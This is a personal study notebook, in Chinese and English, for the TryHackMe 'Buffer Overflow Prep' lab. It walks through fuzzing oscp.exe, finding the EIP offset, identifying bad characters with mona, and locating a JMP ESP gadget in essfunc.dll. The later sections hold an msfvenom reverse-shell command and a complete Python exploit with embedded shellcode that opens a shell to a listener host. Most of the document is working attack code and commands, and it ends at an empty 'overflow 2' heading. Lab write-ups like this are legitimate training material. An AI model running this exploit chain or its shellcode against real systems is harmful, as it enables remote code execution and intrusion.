侯智晟
[e-mail]

# Buffer Overflow Prep

[TOC]

The Vulnerable service ENV
-> windows 32
-> fire wall:false
-> Defender: false

Immunity Debugger(pre installed )

Vulnerable process: oscp.exe (Binary File)

PRD Remote Log In

xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /workarea


Remote Desktop


vulnerable-apps

## oscp.exe - OVERFLOW1


We could know the service have 10 commands that we could try to attack it

## Mona configuration

!mona config -set workingfolder c:\mona\%p

設定 Mona workingFolder Path = c:\mona\oscp.exe
%p -> the current process

## spike

送char -> 去try 有沒有BOF 問題

我們可先寫一個 spk Script

overflow1.spk

s_readline();
s_string("OVERFLOW1 ");
s_string_variable("0");

generic_send_tcp 10.10.35.107 1337 overflow1.spk 0 0



Access violation when executing

EBP = 414141 -> "AAAA"
EIP = 414141 -> "AAAA"

有BOF 問題 我們可以嘗試control Extension instruction pointer


## Fuzzing

編寫 Fuzzing script

#!/usr/bin/python3
#author : Meowhecker 

import sys
import socket 
from time import sleep 

HOST='10.10.14.56'
PORT=1337

buffer = "A"*100
#client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#client.settimeout(5.0) # 設置connect方法的超時時間
#client.settimeout(5.0) # 設置connect方法的超時時間
#client.settimeout(None) # 恢復recv方法的默認超時時間
print("auther:Meowhecker")
print("Script Start, Setting complite!!!")

while 1:
    try:
                
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.settimeout(5.0) # 設置connect方法的超時時間
        client.connect((HOST, PORT))
        
        client.send(("OVERFLOW1 /../" + buffer).encode()) #For python3 syntax
        #client.send(("TRUN /.:/" + buffer))
        
        response = client.recv(1024)
        print(response.decode('utf-8'))
        client.close()
        
        buffer = buffer +"A"*100
        print(f'Current Buffer size = {str(len(buffer))} bytes')

    except KeyboardInterrupt:
        print('Interrupted by user')
        break

    except Exception as e:
        print(e)
        print(f'ifuzzing crashed at {str(len(buffer))} bytes')
        break # 在出現異常時退出while循環
    
    sleep(1)

sys.exit()



我們能夠知道 Char total size > 2000 byte 會讓process Crash

## Find Offset

Generate cycle pattern 他的length > crash length

這樣我們在Debuge 中 去比對 EIP register 的 value 就能算出他的 Offset

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2300

Find out offset

#!/usr/bin/python3
#author : Meowhecker 

import sys
import socket 

HOST='10.10.14.56'
PORT=1337

offset = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy"

prifixCmd = "OVERFLOW1 /../"


try:
                
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #client.settimeout(5.0) # 設置connect方法的超時時間
    client.connect((HOST, PORT))
        
    client.send((prifixCmd + offset).encode())
        
    #response = client.recv(1024)
    #print(response.decode('utf-8'))
    client.close()
        
    print(f'Send success!!')

except Exception as e:
    print(e)
    print(f'fail')

sys.exit()


EIP -> 43386E43

Have two way to find offset

Way 1 Using the mona tool

!mona findmsp -distance 2300


offset = 1974

tryhackeme 的 answer = 1978
會差4個byte 可能是因為 我的 script 有加上

/../

來去做更加貼近server收到的預期結果

Way 2

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2300 -q 43386E43


## OverWrite EIP

確定 buffer 到 EIP 的 offset

#!/usr/bin/python3
#author : Meowhecker 

import sys
import socket 

HOST='10.10.112.31'
PORT=1337

offset = 1974
overflow = "A"*offset
EIPreturnValue = "BBBB"

prifixCmd = "OVERFLOW1 /../"
buffer = prifixCmd + overflow + EIPreturnValue
print(buffer)

try:
                
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #client.settimeout(5.0) # 設置connect方法的超時時間
    client.connect((HOST, PORT))
        
    client.send((buffer).encode())
        
    #response = client.recv(1024)
    #print(response.decode('utf-8'))
    client.close()
        
    print(f'Send success!!')

except Exception as e:
    print(e)
    print(f'fail')

sys.exit()


EIP -> 42424242 "BBBB" B=0x42

We have already to control the EIP return value

## Find Bad chars

做這個目的是為了 在run shell code Avoid 特定char 無法正確被解讀 造成 shell code run 不起來

Generate a bytearray

mona tools

!mona bytearray -b "\x00"

or

https://github.com/cytopia/badchars

badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)


---


用眼睛看

07 -> 0A
08 -> 0D
2e -> 0A
2f -> 0D
a0
a1

-> \\x00\\x07\\x2e\\xa0 (badChars)

大小寫 英文是沒有問題的

用mona 找 (Recommend)

ESP-> 01C6FA30


我們可以用 mona 來找

!mona compare -f C:\mona\oscp\bytearray.bin -a 01C6FA30


mona Memory comparison results, item 0
 Address=0x01c6fa30
 Status=Corruption after 6 bytes
 BadChars=00 07 08 2e 2f 80 
 Type=normal
 Location=Stack

## Find Right Module

先找到 沒有memory protection 的block

!mona modules


Vulnerable Module

-> essfunc.dll

我們可以在essfunc.dll 中 動手腳
可以嘗試jump 該module 的ESP 跑shell code

-> Find out jump ESP 的 address

## Find out Jump ESP Address

locate nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

Jump to ESP opcode

nasm > jmp esp
00000000  FFE4              jmp esp

opCode = FFE4

!mona find -s "\xFF\xE4" -m essfunc.dll


opcode FFE4 -> 跳到 "625011AF"


Control EIP Script

#!/usr/bin/python3
#author : Meowhecker 

import sys
import socket 


HOST='10.10.164.33'
PORT=1337

prifixCmd = b"OVERFLOW1 /../"
offset = 1974
overflow = b"A"*offset
#opCode jmp esp = FFE4
#jmp esp -> 625011AF
#x86 little edian -> left -> reverse

EIPreturnValue = b"\xAF\x11\x50\x62"

badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

# this function have some probles -> 16 -> Ascll
def gernerateCharArray():

    charsArray = ""
    for x in range(1, 256):
        charsArray += "\\x" + "{:02x}".format(x)

    return charsArray




buffer = prifixCmd + overflow + EIPreturnValue
print(buffer)



try:
                
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #client.settimeout(5.0) # 設置connect方法的超時時間
    client.connect((HOST, PORT))
        
    client.send((buffer))
        
    #response = client.recv(1024)
    #print(response.decode('utf-8'))
    client.close()
        
    print(f'Send success!!')

except Exception as e:
    print(e)
    print(f'fail')

sys.exit()


EIP 會跳到 essfunc.<625011AF>(esp address)

我們就能在 essfunc.dll 中 ESP 去RUN Shell code 來pwn 下 service

## Generate shell code

EXITFUNC=thread

此方法用於大多數利用場景，其中被利用的進程（例如 IE）在子線程中運行 shellcode 並退出該線程導致工作應用程序/系統（乾淨退出）

msfvenom -p windows/shell_reverse_tcp LHOST=10.17.11.72 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

## GetAccess pwn

#!/usr/bin/python3
#author : Meowhecker 

import sys
import socket 


HOST='10.10.164.33'
PORT=1337

prifixCmd = b"OVERFLOW1 /../"
offset = 1974
overflow = b"A"*offset
#opCode jmp esp = FFE4
#jmp esp -> 625011AF
#x86 little edian -> left -> reverse

EIPreturnValue = b"\xAF\x11\x50\x62"
padding = b"\x90" * 16

badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

payload=b"\xdb\xce\xbe\xb2\x90\x2c\x41\xd9\x74\x24\xf4\x5f\x33\xc9\xb1\x52\x31\x77\x17\x03\x77\x17\x83\x5d\x6c\xce\xb4\x5d\x65\x8d\x37\x9d\x76\xf2\xbe\x78\x47\x32\xa4\x09\xf8\x82\xae\x5f\xf5\x69\xe2\x4b\x8e\x1c\x2b\x7c\x27\xaa\x0d\xb3\xb8\x87\x6e\xd2\x3a\xda\xa2\x34\x02\x15\xb7\x35\x43\x48\x3a\x67\x1c\x06\xe9\x97\x29\x52\x32\x1c\x61\x72\x32\xc1\x32\x75\x13\x54\x48\x2c\xb3\x57\x9d\x44\xfa\x4f\xc2\x61\xb4\xe4\x30\x1d\x47\x2c\x09\xde\xe4\x11\xa5\x2d\xf4\x56\x02\xce\x83\xae\x70\x73\x94\x75\x0a\xaf\x11\x6d\xac\x24\x81\x49\x4c\xe8\x54\x1a\x42\x45\x12\x44\x47\x58\xf7\xff\x73\xd1\xf6\x2f\xf2\xa1\xdc\xeb\x5e\x71\x7c\xaa\x3a\xd4\x81\xac\xe4\x89\x27\xa7\x09\xdd\x55\xea\x45\x12\x54\x14\x96\x3c\xef\x67\xa4\xe3\x5b\xef\x84\x6c\x42\xe8\xeb\x46\x32\x66\x12\x69\x43\xaf\xd1\x3d\x13\xc7\xf0\x3d\xf8\x17\xfc\xeb\xaf\x47\x52\x44\x10\x37\x12\x34\xf8\x5d\x9d\x6b\x18\x5e\x77\x04\xb3\xa5\x10\x21\x55\xae\xa8\x5d\x57\xb0\x39\xc2\xde\x56\x53\xea\xb6\xc1\xcc\x93\x92\x99\x6d\x5b\x09\xe4\xae\xd7\xbe\x19\x60\x10\xca\x09\x15\xd0\x81\x73\xb0\xef\x3f\x1b\x5e\x7d\xa4\xdb\x29\x9e\x73\x8c\x7e\x50\x8a\x58\x93\xcb\x24\x7e\x6e\x8d\x0f\x3a\xb5\x6e\x91\xc3\x38\xca\xb5\xd3\x84\xd3\xf1\x87\x58\x82\xaf\x71\x1f\x7c\x1e\x2b\xc9\xd3\xc8\xbb\x8c\x1f\xcb\xbd\x90\x75\xbd\x21\x20\x20\xf8\x5e\x8d\xa4\x0c\x27\xf3\x54\xf2\xf2\xb7\x75\x11\xd6\xcd\x1d\x8c\xb3\x6f\x40\x2f\x6e\xb3\x7d\xac\x9a\x4c\x7a\xac\xef\x49\xc6\x6a\x1c\x20\x57\x1f\x22\x97\x58\x0a"


# this function have some probles -> 16 -> Ascll
def gernerateCharArray():

    charsArray = ""
    for x in range(1, 256):
        charsArray += "\\x" + "{:02x}".format(x)

    return charsArray




buffer = prifixCmd + overflow + EIPreturnValue + padding + payload

print(buffer)



try:
                
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #client.settimeout(5.0) # 設置connect方法的超時時間
    client.connect((HOST, PORT))
        
    client.send((buffer))
        
    #response = client.recv(1024)
    #print(response.decode('utf-8'))
    client.close()
        
    print(f'Send success!!')

except Exception as e:
    print(e)
    print(f'fail')

sys.exit()


## oscp.exe 2 (overflow 2)